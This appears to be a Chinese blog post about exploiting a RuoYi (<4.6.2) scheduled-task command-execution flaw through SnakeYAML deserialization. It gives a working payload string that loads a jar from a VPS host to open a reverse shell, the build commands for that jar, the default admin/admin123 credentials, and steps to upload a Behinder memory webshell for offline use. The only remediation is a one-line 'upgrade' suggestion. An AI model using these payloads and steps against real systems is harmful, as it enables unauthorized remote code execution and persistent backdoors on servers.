记录一次若依后台定时任务命令执行漏洞(不出网利用)
记录一次若依后台定时任务命令执行漏洞(不出网利用)。
1.漏洞描述
由于若依后台计划任务处,对于传入的“调用目标字符串”没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。
2.影响版本
RuoYi<4.6.2。
3.漏洞详情
若依后台定时任务snakeyaml命令执行在此版本下大多是使用常见的出网利用,获取反弹shell。
(1)常规出网利用方式
payload:https://github.com/artsploit/yaml-payload
修改AwesomeScriptEngineFactory.java中命令为要执行的命令,类似开启计算器、ping、反弹shell等。
javac src/artsploit/AwesomeScriptEngineFactory.java
//编译为class文件。
jar -cvf yaml-payload.jar -C src/ .
//编译为jar文件
起一个vps上的web服务。
进入若依后台,添加一个计划任务。
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://VPS_IP:PORT/yaml-payload.jar"]]]]')
cron表达式:
0/10 * * * * ?
执行计划任务,获取反弹shell。
也可直接借助https://github.com/thelostworldFree/Ruoyi-All 若依一键利用工具。
(2)不出网利用方式
也不出网利用需要将恶意jar文件上传到服务器本地。
GitHub - thelostworldFree/Ruoyi-All: 若依后台定时任务一键利用
用这个工具一键穿,不过首先得有admin的用户密码,默认admin/admin123
上传jar包为java内存马,项目地址:GitHub - lz2y/yaml-payload-for-ruoyi: A memory shell for ruoyi
然后使用jdbc Template利用选择利用方法为snakeyaml,加载刚才上传的jar地址用来生成冰蝎内存马。
内存马验证:
冰蝎连接:
4.修复建议
(1)升级Ruoyi至最新版本。
更多推荐
所有评论(0)